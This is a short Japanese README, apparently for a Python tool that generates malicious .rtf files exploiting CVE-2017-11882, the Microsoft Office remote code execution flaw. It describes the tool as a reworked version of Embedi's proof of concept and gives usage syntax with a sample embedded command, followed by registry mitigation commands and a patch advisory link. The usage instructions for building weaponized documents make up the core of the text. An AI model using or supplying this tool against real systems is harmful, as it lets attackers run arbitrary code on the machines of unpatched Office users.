
Microsoft Office ソフトウェアがメモリ内のオブジェクトを適切に処理できない場合に、リモートでコードが実行される脆弱性が存在します。この脆弱性の悪用に成功した攻撃者は、現在のユーザーのコンテキストで任意のコードを実行する可能性があります。
これは、Embedi によって作成されたオリジナルの PoC を再編集したもので、リモートコマンド実行が埋め込まれた単一の .rtf ファイルを生成します。
python 2017-11882_Generator.py -x 実行するコマンド -o 出力ファイル名
例: python 2017-11882_Generator.py -x "cmd /c calc" -o test.rtf
32 ビット OS 上の 32 ビット Microsoft Office パッケージの場合: reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
64 ビット OS 上の 32 ビット Microsoft Office パッケージの場合: reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
Microsoft はパッチをリリースしました https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882